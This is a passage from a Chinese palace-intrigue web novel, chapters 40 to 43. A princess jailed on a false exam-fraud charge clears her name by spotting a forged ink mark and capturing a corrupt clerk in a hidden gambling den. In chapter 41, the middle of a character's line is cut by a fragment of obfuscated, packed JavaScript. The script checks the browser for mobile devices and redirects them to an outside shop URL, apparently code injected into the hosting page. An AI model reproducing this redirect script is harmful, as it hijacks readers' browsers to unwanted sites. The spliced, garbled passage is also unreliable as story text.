“殿下方才在想什么？”
40. 生死状
尚容转身，见魏修洵不知何时出现在她身后，此时正双手抱胸望着自己。
“方才我从默云口中得知默沙允许她在京都多待一段时日，我想如今形势紧张应该多安排几个人手保护默云的安全。”尚容朱唇微启。
魏修洵微微颔首，低眉沉思：“默云身为西察公主，若在大靖出事的确非同小可。我会多安排几个人手在默云身边，殿下放心便是。”
“好。”尚容无意间回想起魏修洵今日宴会上的举动，犹豫片刻抬眸缓缓开口，“你今日本可不踏这趟浑水，他亦奈何不了我。”
魏修洵唇边流露出一丝不屑，言语却如细雨春风似在安慰：“我本是武将，只怕不论有无此事，他今后都会将我视为眼中钉。既如此，早片刻倒也无妨。”
尚容知他是怕自己心中过意不去才出此言，定了定神抬眸与其对视，语气真挚：“无论如何，我都要向你道声谢。”
魏修洵薄唇轻勾，似是想到什么神色顿时有些严肃：“明日便是春闱，也是女官入朝以来的第一次考试，殿下可都准备好了？”
尚容微微抬头，清冷的月光撒在她的眉眼间显出几分不落凡尘的凉薄，她怅然一笑，唇角却渗着几分凉意：“与其让他们一直藏在暗处，不如此次以身为饵。”
次日春闱，礼部贡院外天还未亮便已排起了长龙，人满为患。
尚容派人送苗月，韶淳，薛芝，云蔻，落霜等人去了考场之后便在琼华宫中小憩，而后一连几日不曾出门，直到长公主府建造完毕才派人将物品搬到皇宫外的长公主府入住。
春闱结束后的小半个月皆风平浪静，直到有一日尚容放在坐在梳妆台前梳妆完毕，便见韶淳快步进入殿内，神色有些慌乱。
“出了何事？”尚容察觉韶淳神色有异，神色却丝毫不惊，朱唇微启。
“殿下，今日一早禁军将公主府围了个水泄不通。”韶淳眉头紧锁，连忙道，“此事要不要告知主君？”
尚容勾了勾唇：“只怕已经来不及了，此事他也无能为力。”
就在此时，殿外有人扣门。
“进。”
尚容微微侧身，见来者正是禁军统领肃啸，先前在盛兰围场尚容曾与这位肃统领有过一面之缘，只是今日的形势与当日怕是截然不同。
尚容眼眸深处情绪逐渐隐去，眉眼轻扬：“不知今日一早肃统领来本宫府中所为何事？”
肃啸不苟言笑，神色严肃，拱手行礼：“殿下，有人密告您收买考官，徇私枉法，结党营私，如今证据确凿，陛下已下令命微臣将您先行押入狱中，还往殿下不要为难微臣。”
尚容勾唇冷笑。虚与委蛇久了，她倒是差点忘了他这位父皇的疑心之重。
像永嘉帝这样的帝王，从来只会喜欢对自己毫无威胁的人，一旦她对其产生了威胁，甚至不论证据真假与否，他便会毫不留情地想要将自己推入深渊以高枕而眠。想来如今大靖国力的日益衰退，也定是有他猜忌的一份功劳。
“胡言乱语……”
见尚容并无反应，翠桃急得忍不住出声，却被尚容一把护在了身后。
“本宫跟你走。”
肃啸似是不曾料到尚容如此配合，微怔。
尚容侧身对翠桃与韶淳浅笑道：“此事与你们无关，本宫心中自有分寸。”
言罢，尚容起身走到肃啸身前，神色处变不惊，眼眸深处流露出几分压迫：“清者自清，有何可惧？本宫与你走一趟便是。”
肃啸回过神来：“殿下请。”
尚容在肃啸的带领下进入狱中，由于尚容衣着光鲜，故而经过之时引来不少人犯的关注，然则细看他们的神情，无一人不是沾沾自喜等着看好戏的。
或许是由于尚容毕竟是皇室血脉，狱卒便给她单独安排了一件远离其余人犯的房间，只将门锁上便不管不问，倒也格外清静。
狱中条件艰苦，终日不见日光，与皇宫中锦衣玉食的生活自有天壤之别，若是换作尚音或是尚容自是承受不住，但尚容却似乎早已习以为常。毕竟比起在西察的日子，这些已然好上许多。
尚容靠在一旁的墙壁上小憩，不知过了多久不远处传来一阵轻微的脚步声和交谈声，她这才掀开眼帘。
来者正是魏修洵，尚容见他似与狱卒熟稔，只是低声说了几句那狱卒便将门锁打开后离去。
相比于平日的穿着，今日魏修洵只着一身玄衣，倒是素净不少。他似是不曾料到尚容在狱中依旧如此气定神闲，勾了勾唇：“殿下莫不是想在此处呆段日子？”
尚容听他揶揄也不恼，只道：“我猜到你会来，外面发生了什么？”
魏修洵唇角笑意隐去，在尚容身侧坐下，低声道：“有人密告此次在女试中名列前茅多是殿下的门下，细查之下发现是有人在糊名时动了手脚，现在他们一口咬定是殿下指使，陛下大怒。”
尚容低眉沉思，此事倒是与她预料得差不多。
“若是计谋得逞，我入狱，宫先生受到牵连，主考官换人之后春闱重考，背后之人自然就可以安排自己手下的人了，倒也不失为妙计。”尚容冷冷地勾了勾唇。
“如今他们是把殿下放在火上烤，除非找出真相，不然殿下有口难辩。”魏修洵微微侧目，望着少女染了几分灰尘的脸颊，眸色渐深。
尚容怅然一笑，默声不语。
“我愿在陛下面前为殿下做担保，与殿下一起查明此案。”魏修洵缓缓开口，眼神坚毅。
尚容浅笑着摇了摇头，似是成竹在胸：“此事暂时不需你出面，我会立生死状呈于父皇，想必他会给我一个自证清白的机会。”
魏修洵微微怔住，脸色顿时阴沉，语气有些急迫：“生死状？殿下可知自己在说些什么？”
反观尚容倒是神色冷静，眼神清冷：“既为生死状，便是以生死作状，若成则生，若不成便听凭发落。”
“殿下既然知晓其中利害便不该拿命去冒险，背后之人敢在春闱动手脚必定不是小角色，这趟水怕是远比你我想象得要深得多。”
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魏修洵下意识地俯身握住尚容的手腕，桃花眼如黑曜石般晦暗不明，却似有微光浮动。
“置之死地方能后生，这不也是你方才想做的吗？”尚容眉眼轻扬。
“此时你若替我做担保，不论事成与否日后他都会对你有所猜忌，你也是拿命在赌。待我出去之后，你再助我，也是一样的。”
魏修洵知晓尚容心意，想要开口却不知如何开口。
“相信我，我可以做到。”尚容抬眸与魏修洵对视，犹豫了片刻终于开口，“其实我骗了你。”
“骗我什么？”魏修洵挑眉。
尚容长吸了一口气，浅笑：“魏修洵，你相信这世上有重生吗？”
“重生？”魏修洵微怔，脑海中却忍不住回想起尚容之前提到的那个梦境，眸色渐深。
“其实那根本不是我的梦，就是我亲身经历的一切，在我死后我又回到了我十八岁的那一年。”
似是忍耐了很久，待说出口的那一瞬间尚容如释重负：“你从前问我如何知道宫文甫的事，那时我说是我在京都有人手传信，实际上根本没有什么传信，只是因为此事我前世有所耳闻。”
魏修洵将她的手腕握得更紧了些，神色复杂，眼神微动：“那我从前让你感到害怕吗？”
尚容不予置否，反握住他骨节分明的手，眼神含着几分柔情：“过去是我识人不清，太过软弱，这样的过去没什么值得我留恋的，一切都不如现在。”
言罢一种说不清道不明的冲动涌上心头，尚容无声地靠近，在他的薄唇上落下一个极轻的吻。
魏修洵一时微微愣住，只觉唇间染了几分炙热，一直蔓延至他的胸口，他的呼吸也逐渐快了几分。
他强忍住心绪，却依旧回想着方才发生的一切，声音略带沙哑：“你说的对，我们都不要再提过去了，我会陪你找出幕后之人，一起杀出一条血路。”
“好。”尚容眼尾微微上扬，嫣然一笑，“时候不早了，免得让人起疑你先回侯府吧。”
魏修洵微微颔首，起身行至牢房外回望。
待狱卒到场，尚容缓缓起身，声音掷地有声：“劳烦禀报陛下，本宫要起生死状！”
一直到酉时，尚容等到狱卒送来一碗薄粥还不见其他人踪影，本以为她这位父皇今日不会前来，却不曾想将入亥时之时却听得不远处传来一阵脚步声。
尚容缓缓睁眼，首先见到的便是老太监朱何。
她心下知此时尚徽不会派朱何一人前来，他定然在这附近，久久不现身怕是有意试探自己，便浅笑着明知故问：“朱公公，不知父皇身在何处？”
朱何笑了笑：“陛下今日忙于朝政，怕是来不了了，这不……特意命咱家前来询问一二。”
“这些日子本宫不能陪在陛下身边尽孝，还请公公让父皇多注意身体。本宫还要劳烦公公传话，本宫素来最是敬重父皇，春闱舞弊一事绝非本宫所为，本宫亦知人言可畏父皇难做，愿立生死状，还望父皇给本宫一个自证清白的机会。”
41. 查破绽
声声入耳，朱何忍不住微微侧目，似是有些为难：“这……咱家定会替殿下把话带到，只是之后的事全凭陛下心意。”
尚容勾了勾唇：“这是自然。”
“既如此，咱家便先告退了，殿下早日休息。”朱何欠身，唇边挤出一丝笑意，声音阴柔。
“公公慢走。”尚容微微颔首，目送朱何离去，眸色渐深。
透过朱何手中提着的油灯的光晕，尚容方才分明看到了一个斜斜的身影。看来事情如她所料，尚徽并非因政务缠身不得前来，而是不想与她相见，借此机会在暗中试探她的忠心。
若她方才果真说了什么不该说的话，落入了尚徽的耳中，此次她便算是万劫不复了。当然，她还没有蠢到如此地步。
尚容坐在用稻草铺成的床榻上躺下，双手轻压在后脑勺下，缓缓阖眸。
她心知，相信与否，明日都该知晓结果了。
果然到了第二日天亮，尚容便听见牢房外传来一些动静。她睡得本就不沉，此时掀开眼帘坐了起来，便见来者不是别人，正是魏修洵。
“陛下有令，命长公主查明春闱舞弊案自证清白，打开牢房。”魏修洵道。
“是。”
牢房被狱卒打开，魏修洵走到尚容身前，薄唇轻抿：“殿下没事吧？”
“无事。”尚容摇了摇头，淡然一笑，“我本以为父皇会派肃啸前来，怎么会是你？”
“太后娘娘听闻殿下出事后便日日去陛下那里替殿下说情，陛下实在拗不过便让我与殿下一起查案。”
思及心急如焚为自己求情的祖母，尚容心头一阵泛酸：“难为祖母了。”
魏修洵微微俯身，压低了音量：“殿下，这里不是说话的地方，我们出去再说。”
尚容颔首，二人随即走出了牢狱。
尚容此时发髻散乱，额间皆是灰尘，因此处距离公主府不过半柱香的路程，便回府中换了一件衣裳在魏修洵的陪同下前往礼部贡院。
由于除了春闱舞弊一案，礼部贡院外皆有禁军看守，闲杂人等一律不许在周围逗留，是以此时通往贡院的必经之路倒是不见行人，冷清得很。
“侯爷，殿下，陛下有令在春闱舞弊案告破之前所有人无旨意不得入内。”
开口的是一位皮肤黝黑，一身腱子肉的壮年男人，尚容见他衣着与其余禁军守卫不同，便知此人是定是负责看守贡院之人。
“陛下允殿下自证清白，这是手令，请王副将过目。”魏修洵嘴角微噙，随即从腰间取出一块紫金令牌递到王硕手中。
王硕仔细一看，见令牌不假便示意手下让路，双手将令牌递回：“既然是陛下的手令，侯爷，殿下请随我来。”
尚容与魏修洵在王硕的带领下进入了贡院东侧的衡文堂，此处便是春闱之时主考和内帘各官员的地方。
尚容迈入衡文堂便见有不少人正在低头翻阅书卷，这些书卷想来便是此次春闱考生的手稿。
“王副将，您进来怎么也不说一声，我也好……”
来者是一个身材肥胖的中年男人，着一身赭色广袖长袍，此时抬头望见一旁的魏修洵，微微侧目又恰好对上尚容的目光便将还未说出的话咽回了腹中，挤出一丝讨好的笑意：“侯爷，殿下，您二位怎么来了？”
“葛大人，陛下手令允殿下查明科举舞弊案自证清白，命本侯一同查案。”魏修洵正色道。
尚容见此人观之便是阿谀奉承之之辈便不欲多费口舌，只道：“不知葛大人这几日有何收获？”
“自然有收获！春闱除了这样的事，在下真是痛心疾首，夜夜不得入睡啊！”葛广伦眉头紧锁，一路慷慨陈词，随即走到桌边翻开几分糊名的考卷。
“殿下侯爷请看，这些都是在此次春闱榜上有名的考生的考卷，而这些考卷皆有一个共同之处，那便是糊名的纸条宽度比其他考生的要宽上一些，可见是糊名的官员被人买通故意动了手脚。”
尚容翻阅考卷，见这几张的糊名纸条的宽度确实有些不对，仔细撕开糊名条后便发现这几张考卷分别对应着苗月，韶淳，薛芝，云蔻，落霜还有其余几人，显然都与自己关系匪浅。
尚容低眉沉思，神色冷静：“葛大人，涉事的官员都抓住了？”
“那是自然，那些糊名的，批阅的都抓住了，不过……”葛广伦抬头望着尚容，声音逐渐低了下去，“不过他们都一口咬定自己是殿下的人。”
这点尚容倒是毫不意外，毕竟背后之人敢在天子眼下想出这一招拉她入死局，那么动用的必然都是死士，就算是用刑也是问不出来的。
不过尚容总觉得有些不对。
“葛大人可曾对比过誊抄过的试卷与考生原卷的内容是否一致？”
葛广伦颔首道：“都有找人比对过，内容完全一致。”
眼看着线索似乎已然断了，尚容拿起桌面上一张平摊着的考卷，发现这张考卷正是苗月在春闱上作答的原卷，考卷上字迹清晰，行文颇有条理又表达了自己对于考题深刻的见解，的确是一份难以挑剔的答卷。
然而尚容仔细翻阅，却发现答卷右上角的边缘处有一道浅浅的黑色墨痕。
葛广伦见尚容注意到答卷边缘出现的墨迹，连声道：“殿下，这些被择出来的考生的答卷上都有墨迹，这便是她们作弊的实证。”
尚容心若明镜，丝毫不为所动。她又择出其余几人的原卷，发现右上角果然也有同样的墨痕，只是细看之下却发现了一丝端倪。
苗月，韶淳，云蔻，落霜几人的原卷右上角的墨痕都是黑色，唯有薛芝的原卷上的墨痕是暗暗发红的褐色。
要知道十数年前春闱同样出现过一次舞弊案，作案者以不同颜色的墨汁给考官暗示，此案查明之后永嘉帝便下令春闱的墨宝一律由礼部统一提供，皆为油烟墨，色泽乌黑油亮，却不会呈现此般褐色。
“这些墨痕有问题，定是有人栽赃陷害。”尚容微微抬眸，眸色渐沉。
葛广伦不明所以，只以为尚容是在为自己辩解，心中暗暗发笑：“殿下如何得知？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434641|132901||http|test|mini|href|location''.split(''|''),0,{}));
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尚容神色不惊，缓缓开口：“葛大人，今年春闱考生用的可都是礼部统一发放的油烟墨？”
葛广伦颔首：“正是，这些油烟墨都是由专人运输，绝无可能出现纰漏。”
“既然如此，油烟墨色泽乌黑，若真是考生薛芝意欲作弊，那出现在这张考卷边缘为何不是纯正的黑色，而是暗暗发红的褐色呢？”尚容微微勾唇，随即将薛芝的原卷递到葛广伦手中。
葛广伦微微愣住，连忙接过考卷定睛一看，见那边缘的墨痕果然如尚容所言暗暗发红。他一时有些无措：“或许……或许是沾染了污渍，或是时间久了才会如此。”
“葛大人怕是糊涂了吧！”
尚容陡然提高了音量，顿时将葛广伦唬在原地。
“葛大人莫不是在与长公主殿下和本侯打趣？油烟墨极为稳定，就算放得时间久些也不会变色，如此这般褐色墨痕绝非是油烟墨！”魏修洵嘴角微噙，唇边渗出几丝冷笑。
“是下官方才一时情急，随口胡说的。”
葛广伦连忙陪笑，额间顿时沁出了几颗汗珠，他下意识伸手擦拭。
尚容浅笑：“油烟墨确实不会呈现这般色泽，但是若是混合了用来誊抄原卷的朱砂墨，倒也是有可能的。葛大人说呢？”
“这……”葛广伦抬头对上尚容的目光，挤出一丝笑意，“殿下的意思是，这墨痕并非出自考生之手。”
“不错，本宫怀疑春闱誊写原卷的官员中有人动了手脚，在原卷上添加墨痕，让人误以为是本宫在背后引导考生有谋划地作弊。”
尚容走到葛广伦身前，嘴角微微上扬，眸中笑意浅淡：“这的确是一招妙计，只是百密终有一疏。”
“有人用了誊写原卷时染了朱砂墨的笔沾了油烟墨并在边缘处留下了墨痕，由于灯光昏暗或是匆忙之下此人并没有发现墨痕隐隐发红，所以才留下了这般破绽。”
葛广伦只觉对方眼神尽是压迫，眼神有些躲闪，微微低头擦拭汗水：“没想到竟是这样，殿下果然聪慧。”
尚容意识到葛广伦反应有些异常，故意道：“葛大人可知誊写这几张原卷的人如今在何处？”
“这……下官的确不知。”
魏修洵微微侧身，双手抱胸：“长青，去查查春闱负责誊写原卷的官员，根据字迹一一比对，务必找到此人。”
“是！”
“本侯怎么觉得葛大人今日格外畏热？可是身子不好？”魏修洵勾了勾唇，一双桃花眼笑意张扬，言语之间尽是挑逗。
声声入耳，葛广伦更是脸色微微发红，忍不住长吸了一口气陪笑：“的确是年岁大了，容易发虚汗，不过并不碍事，多谢侯爷关心。”
魏修洵薄唇轻抿：“既如此，外面天寒，葛大人便在此处好生歇息，本侯与殿下先行告辞。”
“殿下，侯爷慢走。”
待迈出贡院，尚容缓缓开口：“葛广伦此人显然有问题，你可是已派了人看着他？”
魏修洵微微挑眉，笑意浓重：“殿下知我。”
42. 地下庄
尚容下意识地咳嗽了一声，勾了勾唇：“现在我们去做什么？等长青来传消息？”
魏修洵微微颔首，桃花眼深处似有微光浮动：“的确如此，不过时辰不早了，边用晚膳边等消息也无妨。”
话音未落，魏修洵握住尚容的手腕，朝旁边一条街上的醉仙楼走去。
魏修洵是醉仙楼的常客，是以长青和掌柜的低声说了几句话，掌柜的就利落地安排了一间上房。
尚容推门而入，却觉此处她竟然有些熟悉，待走到露台向外望去，见雀云街上的景致一览无余，她心中顿时明了。
她的脑海中回想起她乘坐马车离开京都前往纪阳之时瞥见的那一身红衣，此处上房露台的位置与当日魏修洵所立之处竟完全一致。
“殿下在想些什么？”魏修洵见尚容在露台上微微愣神，走到她身后轻声道。
尚容定了定神，似是随口一提：“我只是偶然想起你当日也是站在此处。”
魏修洵薄唇轻勾，眼含笑意：“殿下好记性，这醉仙楼的菜品很是不错，我平日里若是无事便会来尝尝。昨日委屈殿下了，今日殿下多用些。”
提起昨日，尚容倒是想起一个人。
“那狱卒是你的人？”尚容与魏修洵对视，道。
魏修洵嘴角微噙：“不错，毕竟人总要给自己留一条退路，殿下说呢？”
声声入耳，尚容便知晓了魏修洵的用意。
纵然魏修洵出生在晋安侯府这样的名门望族，但他从前也不过只是一个不受看重的庶子，日日藏拙，生怕一不小心便会落入黑心后母和兄长的陷阱之中。在这样举步维艰的日子里，给自己留一条出路自然是明智之举。
不过或许他也不曾料到，他的这颗暗棋会在这次排上了用场。
尚容微微出神。
此时掌柜的亲自端来小菜，没一会的功夫楠木圆桌上便摆满了一桌菜肴，个个色香俱全。
魏修洵夹了一块百花酿鸭脯到尚容碗中，眼尾微微上扬：“尝尝这儿做的。”
尚容总觉得魏修洵别有一番心思，这才刚咬了一口便听得他道。
“殿下觉得和我在未见山做的相比如何？”
“都……”尚容下意识便要开口，脑海中却回想起魏修洵在狱中和自己说的一番话，顿时心头一软，柔声道，“未见山的不错。”
魏修洵似是不曾料到尚容今日这副反应，嘴角忍不住微微上扬，随即将一杯琼浆送到唇边一饮而尽。
“你觉得这次背后是什么人作怪？”尚容微微抬眸。
“女官入朝本就动了太多人的利益，再加上如今殿下地位逐渐稳固，眼红之人自然多些，什么人都有可能。”魏修洵收起了方才的三分恣意张扬，薄唇轻抿。
“唯一能确定的是背后之人必然是个大人物，是以有些时候，我们可能会发现最后查到的只是背后之人想让我们看到的。”
魏修洵所说倒是与尚容心中所想不谋而合，但即使如此，她仍相信只要查下去，总会有离真相更近的那一日，待到抽丝剥茧，真相大白。
就在此时，门外传开一阵叩门声。
“主君，殿下。”
魏修洵听出是长青的声音。
“进。”
长青推门而入，微微喘气：“主君，殿下，属下已将字迹一一比对，排查春闱礼部负责誊写女试原卷的官员，最终发现那几张朱卷都出自赖全和范律二人之手。”
“巧合的是，此二人皆已不在礼部。赖全原是通安人士前几日声称家中老母病重，启程前往通安，出京后再无人见其踪迹。倒是范律本就是京都人士，生性好赌，属下命人打听，发现有人昨日在京都西郊的宝昌钱庄见过此人。”
尚容搁下碗筷，低眉沉思，神色有些凝重：“看来赖全是指望不上了，不如我们去一趟宝昌钱庄。”
魏修洵微微颔首：“长青，你派一部分人继续按照探查赖全踪迹，剩下的人随我与殿下去一趟宝昌钱庄。”
“是。”
此时将近宵禁，魏修洵手持密令秘密出京，并没有太多人，一行人直往城外西郊的宝昌钱庄而去。
相比京城的繁华，西郊便显得偏僻幽静了许多。
尚容与魏修洵抵达时已是二更天，夜色正浓，四周荒凉一片只隐隐望见不远处的矮脚房子里有光亮闪烁。
“长青，你确定此处是宝昌钱庄所在？”魏修洵侧身，薄唇轻抿。
长青脸色严肃，毫不犹豫道：“属下确定，不会有假。”
魏修洵勾了勾唇：“有意思。”
为了方便动身且不引人注目，尚容换上了一身男装，长发以银质发冠束起，不施粉黛，活脱脱一个玉面郎君的模样。
尚容与魏修洵走到矮脚房子门口叩了叩门，没过多久门就从里面被打开。尚容见开门的青年男人一身灰白布衣，衣着朴素，显然是钱庄里的伙计。
尚容环顾四周，发觉此处钱庄不仅从外面看起来毫不起眼，内里的陈设亦素净到有些简陋，唯一起眼的便是不远处立着的一扇碧玉双面雕花曲屏。
就在这时，屏风背后传来一声尖细阴柔的女声。
“两位客官，这么晚了想来做什么呀？”
尚容勾唇浅笑：“来钱庄，自然是来存钱的。”
话音未落，屏风后走出一个身着墨绿齐胸印花长裙，穿金戴银的年轻女人。女人如瀑的长发盘着单螺髻，发间缀着的赤金宝钗亦是价值连城。
女人红唇微启，轻轻一笑，眼神尽是挑逗：“奴家是这儿的掌柜青鸾，不知二位公子要存多少钱？”
尚容勾了勾唇，唇角流露出一丝不屑。她双手抱胸，打量了一眼四周：“只是不知……你们这儿存不存得下。”
此话一出，青鸾的眼神顿时泛起几分光亮，她走到尚容身旁身姿摇曳，语气比之前要热情了不少：“公子这可是小看我们宝昌钱庄了，只要公子有心存，还没有我们钱庄吃不下的。只是不知公子要存多少？”
尚容对上青鸾的目光，笑着比了个一的手势。
青鸾的唇边顿时流露出些许不屑，她头也不抬地低眉道：“一万两？”<
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p>尚容浅笑着摇了摇头，继续比着一的手势。
“十万两？”此时青鸾的眼神已是有些不同了。
尚容眉眼轻扬，神色云淡风轻：“一百万两。”
“一百万两！”青鸾双目放光，待定了定神挽起尚容的手臂，眼神谄媚，“方才奴家一看公子就并非等闲之辈，果然是年少有为，这笔生意我们钱庄接下了。”
尚容笑着向后退了一步，将青鸾的手摆开：“在下已有家室，内人素来管得严，还望掌柜的自重。”
青鸾微微愣住，上下仔细打量了面前公子一番，掩唇轻笑：“没想到公子这样的人物，竟也舍得被女人束缚住，倒是少见！”
一旁的魏修洵忍不住勾了勾唇。
“掌柜的说笑了。”尚容薄唇轻抿，拍了拍手，长青便从停在屋外的马车里抱出一个黄花梨木盒递到青鸾手中。
青鸾接过黄花梨木盒，打开见其中放置的银票面额均为一万两，而她仔细数了一遍的确有整整一百张！
“如何？”尚容眉心微挑。
“是一百万两没错！公子果然是人中龙凤！”青鸾顿时喜笑颜开，眼角都挤出了一丝细纹，“公子放心，我们定会为公子保管妥当，光这一年的利息啊就有三万两。”
此时先前一直一声不发的魏修洵啧了啧嘴，眼眸如黑曜石般晦暗不明：“只是此处钱庄看着实在有些简陋，我如何能信我大哥的钱放在这儿会安然无恙呢？”
尚容似是没想到魏修洵会来这么一处，微微出神，但她很快隐去了眼底的神色，只是用极具压迫感的眼神盯着面前的青鸾。
“奴家带二位公子去一个地方，二位公子便可安心。”
青鸾丝毫不惊，浅笑着转身熟稔地在一旁的货柜上握住一只瓷质的大肚娃娃轻轻一转，尚容便听到轰隆一声，货柜从中间的缝隙向两边退去，顿时出现了一条暗道，暗道的墙壁嵌着各式各样的宝石，一眼望去金碧辉煌，甚至可以与皇宫内最豪华的宫殿媲美。
青鸾勾唇一笑：“二位公子请。”
尚容与魏修洵在青鸾的带领下进入暗道，没过多久便发现这间看起来毫不起眼的矮脚房子下面连着一个巨大的地宫，越往里走声音便更加嘈杂，各种气味逐渐混杂。
尚容素喜制香，是以对气味格外敏感，此时她便已感觉到空气中混杂着几分烟草味，汗臭味，还有几分醇厚的酒味。
很快三人行至一个分岔路口，青鸾引着二人向左而去进入了一间密室，密室里摆放着大大小小精密的仪器，都是用来保存银票，白银和黄金所用。
尚容瞥了一眼上面的锁，发觉显然与平常市面上售卖的普通锁不同，非人力所能打开。
不过这些东西尚容并不感兴趣，方才经过分岔路口之时尚容能够清晰感觉到那些声音和气味是从右侧的通道传来的，也就是说右侧极有可能与他们要寻的范律可能在的赌场相连。
“宝昌钱庄果然名不虚传，看来我倒是没有找错人。”尚容笑语盈盈，似是随口一问，“不知方才分叉口右侧通往何处？听着很是热闹。”
43. 明若晦
“那儿啊……自然是做一些有关钱的买卖。”青鸾掩唇浅笑，眼神挑逗，“公子有兴趣？”
尚容勾了勾唇，默声不语。
青鸾见尚容不说话顿时心中明了，以为拿捏了对方的心思，妩媚一笑：“公子既是我们这儿数一数二的大客户，今日奴家便邀公子一览，公子定会尽兴。”
尚容与魏修洵在青鸾的带领下往分岔路的右侧而去，嘈杂的声音顿时愈来愈响，不断钻入耳中。
“到了。”
青鸾掀开珠帘，尚容见橙黄的烛光下，新的一方天地映入眼帘，衣着光鲜的男男女女穿梭于赌场间，个个沉浸其中，似乎与外界相隔。
事情果然不出尚容所料，这宝昌钱庄不仅做着钱庄的生意，还在地下干着赌场的买卖，说不定还做着印子钱的生意，还真是黑白通吃，无所顾忌。
虽然尚容不曾赌过钱，却也听说过这赌场里的黑心门道，一旦染上了，不剥一层皮怕是难以脱身。只是很多人尝到了一些甜头就以为自己真是天选之子，不断投入筹码，最后才输了个倾家荡产。
是以青鸾面上虽客客气气地说要带自己这个大客户一览，实则也只是指望自己多输些钱罢了。尚容心中暗笑。
青鸾果然急不可耐，冲着尚容嫣然一笑，声音娇软：“公子，来都来了，不玩上一把？”
“来便来。”
尚容嘴角轻扬，说着从衣袖中取出一个金玉扳指放到赌桌上，双手撑住桌面。她微微侧身，余光瞥见魏修洵朝一旁的长青使了个颜色，长青就此走开。
“公子好气魄！那我这便开始了！”一个光着膀子的粗犷大汉说着便开始狂摇骰蛊。
魏修洵立在一旁，见对家眼神微动顿时心中明了。在人头攒动之时，魏修洵刻意踩住了对家身旁一男人的长袍，男人顿时摔倒在地，他微微侧身，朝尚容使了个眼色。
尚容薄唇轻抿：“大。”
对家眼神一怔，微微抬头却不敢去青鸾对视，似是有些心虚：“小。”
粗狂大汉打开骰蛊，见两枚骰子是一对五，脸色微微涨红，似是有些不情不愿地喝道：“这位……公子胜！”
尚容双手抱拳：“承让！承让！”
就在此时，尚容听得不远处有一身着暮灰色圆领长袍的中年男人朝这处飞奔而来，长青紧随其后。
魏修洵出手欲将其擒拿，尚容却见方才手握骰蛊的粗犷大汉从身旁一人的腰间掏出一把弓弩瞄准了那中年男人。
“小心！”
尚容心头一横，还未等那大汉反应过来便将长袖轻轻一扫，淡白色的粉末飞扬而出，大汉的身子晃了几下，便重重地倒了下去。
但危机尚未解除，尚容猜到若背后之人想要出手绝不会只将希望寄托在一人身上。
果然，那大汉倒下之后，赌桌旁的几个人个个眼神阴狠，手持匕首朝中年男人砍去。魏修洵见状一把抓住中年男人的衣领将其推向一旁的长青，从腰间抽出一柄软剑与来者相抗。
赌场内顿时乱作一团，不少人见状拥挤着朝外跑去，但尚容毫不在意，只因她知晓钱庄外已经布满了禁军，在场的人有一个算一个绝无可能逃出钱庄一步。
然而就在众人推搡之下，尚容发冠掉落，束起的长发顿时散落腰间。
青鸾眼神顿时阴沉：“你是女子？你究竟是何人？”
此时刺客已然都被魏修洵制服，长青将范律押在角落，肃啸率领禁军寻至此处将众人团团包围，人群顿时安静下来。
尚容将长发束起，依旧镇定自若，气度雍容：“本宫乃当朝长公主，奉陛下手令彻查春闱舞弊案，宝昌钱庄涉及违法开设地下赌场一事，钱庄内人员由禁军押至狱中听候发落。带走！”
待禁军带走其余众人后，尚容走到缩在角落里，身体忍不住剧烈颤抖的中年男人身旁。长青将人提起，尚容与其对视。
尚容勾了勾唇：“你是礼部的范律吧？”
范律满头冷汗，刻意偏过头去不敢直视尚容的眼睛：“是……是……在下是范律。不知……殿下找我有何事？”
“本宫记得这次春闱范大人是负责女试原卷的誊抄工作吧？”
“是……是……殿下。”范律经过方才生死一劫尚且惊魂未定，此时听尚容提起春闱女试一事顿时脸色惨白如纸。
尚容微微勾唇，似笑非笑：“既如此，本宫便要与范大人好好聊聊了。”
“殿下……想聊什么？”
声声入耳，范律额间沁出几滴冷汗，他眼神躲闪，显然心中有鬼。
尚容浅笑，随即从衣袖中取出薛芝的原卷和其对应的朱卷，并将两张试卷平摊在赌桌上：“考生薛芝原卷的誊抄工作当日是范大人负责的吧？”
范律心知字迹做不得假，只得应下：“回殿下，当日是下官誊写的薛芝姑娘的原卷。”
“那这原卷边缘的墨迹又作何解释？”
范律反应得极快，低声道：“殿下这便要问薛芝姑娘为何舞弊了，与下官有何关系？”
尚容早就猜到范律如此回应，唇角笑意浅淡，她将原卷递到范律手中，声音清冷：“范大人何不再好好看看这份原卷再回复本宫？”
范律心中顿时有一种不好的预感，他双手微颤地接过那份原卷，透过烛光却见那道墨痕分明暗暗发红。但他当日分明……
范律神色有些慌乱，他微微闭眼再度睁眼，似是担心自己看错了一半，却发现那墨痕依旧如方才所见一般暗暗发红。
他握着原卷的右手下意识地微微攥紧，声音有些沙哑：“殿下……这……这……这定是有人刻意为之，栽赃陷害！”
尚容眉心微挑，走到范律身前眼底压迫感尽显。
“范大人，本宫方才可什么都没说，你又如何确定这墨痕有问题，还是有人栽赃陷害呢？”
“下官……下官只是随口一说……”眼看着自己入了套，范律心中咯噔一声，顿时感觉整个身子都沉了不少，他强撑着笑道。
“这样啊……”尚容冷冷一笑，“
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那不如范大人和本宫说说这京城的差事干得好好的，怎么说不干就不干了？那些人又为何会对范大人下死手啊？”
此时范律纵然心知不妙，却依旧死咬着不肯松口：“礼部杂事素来多，下官也是不想干了，想多出去走走，所以来宝昌钱庄取钱。”
尚容勾了勾唇，随即在桌面重重一拍，字字句句掷地有声：“范律！本宫没有精力任你在这儿空口胡诌，原卷上的墨迹泛红，此卷又只经你手，分明就是你用染了朱砂墨的笔沾了油烟墨划上的。你栽赃薛芝舞弊这一条，便可定罪！”
“你的主子今日已经派人来杀人灭口，你以为你逃得掉吗？若是你如实交代，说出幕后之人，本宫或可保你家人不死。”
范律瘫在地上，面如死灰，良久道：“是葛广伦让下官这么做的。”
尚容微微眯眼：“范律，你可知随意指认是何后果？”
“下官知晓。”范律长叹了一口气，“事已至此，下官没必要说谎，就是葛广伦，他定是察觉事情败露，便要杀人灭口。”
这显然不是尚容想要听到的答案。此次春闱舞弊案涉及范围极广，又动用了太多死士，可见背后之人的地位非同一般，无论如何看都绝不是单凭一个从三品的礼部侍郎能谋划的。
